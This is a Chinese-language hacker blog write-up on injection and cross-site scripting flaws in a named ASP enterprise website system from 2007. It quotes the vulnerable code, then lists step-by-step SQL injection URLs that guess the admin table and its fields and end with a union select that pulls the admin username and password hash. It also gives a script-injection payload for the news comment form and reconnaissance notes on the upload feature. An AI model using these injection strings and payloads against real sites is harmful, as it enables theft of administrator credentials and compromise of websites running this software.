废话不多说,既然是技术文章,直奔主题。
一、注入漏洞 存在漏洞文件CompHonorBig.asp,我们来看代码部分
程序代码
<%dim id id=request.QueryString("id")%> '直接从客户端获取id的值,没有经过任何过滤 <html> <head> <title>图片</title> <meta http-equiv="Content-Type" content="text/html; charset=gb2312"> <% set rs=server.CreateObject("adodb.recordset") rs.open "select * from CompHonor where id="&id,conn,1,1 '直接将变量id放进数据库查询,漏洞出现 %> | 下面开始手工猜解过程,(菜鸟就直接工具吧)。 猜解表名 地址栏提交 http://127.0.0.1/CompHonorBig.asp?id=24 and exists (select * from admin) 返回正常页面,说明存在admin表。 猜解字段 地址栏提交 http://127.0.0.1/CompHonorBig.asp?id=24 and exists (select username from admin) 返回正常页面,说明存在username字段 继续猜字段 提交 http://127.0.0.1/CompHonorBig.asp?id=24 and exists (select password from admin) 返回正常页面,说明也存在password字段 提交 http://127.0.0.1/CompHonorBig.asp?id=24 order by 5 返回正常页面,再提交6返回空白页面,说明字段为5 我们用union来查询 提交 http://127.0.0.1/CompHonorBig.asp?id=24 and 1=2 union select 1,2,3,4,5 from admin 只返回了一个 2,如图1。

图1 实际上还有一个,我们查看源代码,如下:
程序代码
<html> <head> <title>图片</title> <meta http-equiv="Content-Type" content="text/html; charset=gb2312"> <div align='center'><img src=4 border=0 ></div> <div align="center"><BR> 2<BR> </div>
</body> </html> | 注意<img src=4 border=0>这里的4就是一个字段 然后,我们提交http://127.0.0.1/CompHonorBig.asp?id=24 and 1=2 union select 1,username,3,password,5 from admin 刚才显示2的地方变成了admin,说明用户名为admin,继而,查看源码。<img src=7a57a5a743894a0e border=0 >用户密码为7a57a5a743894a0e 如图2

图2
二、跨站漏洞 第一个地方,客户留言。 虽然这里存在跨站漏洞,但是暂时几乎是没有办法利用的。因为每个能够被利用的表单的长度都是被限制了的。我们来看留言的Feedback.asp代码部分。
程序代码
<input type=hidden name=Username value=<%=Username%>> <td height="25" align="right">主题: </td> <td height="25"><input type="text" name="Title" size="42" maxlength="36" style="font-size: 14px" > *</td> | 这里只是主题部分的表单,限制了长度为36,我们基本没有办法利用了。 我们再来看看本来可以利用的部分
程序代码
<td height="25" align="right">内容 *:</td> <td height="25"><textarea rows="10" name="Content" cols="45" style="font-size: 14px" ></textarea></td> | 当然这里的长度绝对是足够的,不过,我们还需要看看到底有没有经过过滤,我们找到表单提交到的文件FeedbackSave.asp,下面是部分代码。
程序代码
<!--#include file="Inc/articleCHAR.INC"--> ……'省略 rs("CompanyName")=trim(request.form("CompanyName")) rs("Add")=Add rs("Postcode")=Postcode rs("Receiver")=trim(request.form("Receiver")) rs("Phone")=trim(request.form("Phone")) rs("Mobile")=Mobile rs("Fax")=Fax rs("email")=email rs("title")=trim(request.form("title")) rs("content")=htmlencode2(request.form("content")) rs("Publish")=trim(request.form("Publish")) | 我们看到,能够被利用的内容(content)部分已经被htmlencode2函数所包含,这个函数有什么作用呢。我们看Inc/articleCHAR.INC
程序代码
<% function htmlencode2(str) dim result dim l if isNULL(str) then htmlencode2="" exit function '如果内容为空,则退出函数 end if l=len(str) result="" dim i for i = 1 to l select case mid(str,i,1) case "<" result=result+"<" '过滤< case ">" result=result+">" '过滤>(下面类同) case chr(13) result=result+"<br>" case chr(34) result=result+""" case "&" result=result+"&" case chr(32) 'result=result+" " if i+1<=l and i-1>0 then if mid(str,i+1,1)=chr(32) or mid(str,i+1,1)=chr(9) or mid(str,i-1,1)=chr(32) or mid(str,i-1,1)=chr(9) then result=result+" " else result=result+" " end if else result=result+" " end if case chr(9) result=result+" " case else result=result+mid(str,i,1) end select next htmlencode2=result end function %> | 关键的东西 < 和 > 被过滤掉了,看来这里跨站是基本没用的了。存在了一个鸡肋了,另外还有一种方法,由于时间的关系,在仓促的测试之后没有成功,我这里就不贴出来了。 第二个地方,新闻评论。 这里的跨站利用起来比较顺利,但是危害却小了很多,关键是要打开该新闻之后才能够实现跨站。我们来分析一下:该文件是shownews.asp
程序代码
<tr> <td width="100%" height="22" class="tr"><span lang="en"> </span>评论人:<%=Replace(Replace(rs3("com_name"),"<","<"),">",">")%> 评论时间:<%=rs3("com_date")%></td> </tr> <tr> <td height="22" style="word-break:break-all"><%response.write " " & rs3("com_content") & "<br>"%> </td> </tr> | 很显然,这里只过滤了com_name里的内容,而评论内容却没有经过任何过滤。我们来看看操作。 内容那里输入<script>alert("跨站测试 BY Reghacker From 黑客X档案")</script>,提交后,我们看到了效果,如图3。

图3
后台我就没有深入研究,说明一下就是了,没有数据库备份恢复功能,存在ewebeditor但是没有登陆页面,除了ewebeditor还有一个上传程序,使用的是化境的无组件上传。在网站配置处可以修改允许上传的扩展名,但是程序限制了asp,asa,aspx为不允许上传的格式,所以不能添加这三种扩展名了。 下面的大家自己搞了,本来打算今天12点就睡觉的,刚才写这文章,不知不觉就到了2点半了。好困啊,不想在上那么晚了,昨天通宵害我今天白天只吃了一顿饭。睡觉去了。 有任何疑问,请评论说明。 最后补充一句:良精出的另一个系统《中国标准企业网站管理系统》也存在同样的问题,看了下,估计代码基本一致,只是界面上后者更好看一些。本文分析的系统官方下载的名字叫做《良精通用企业管理系统 2007》。写完睡觉,大家看着我累了,给顶一下下咯~~
·上一篇: 花生壳本地权限提升漏洞的分析研究
·下一篇: IE Javaprxy.dll Com Object漏洞利用程序改写手记(图)
|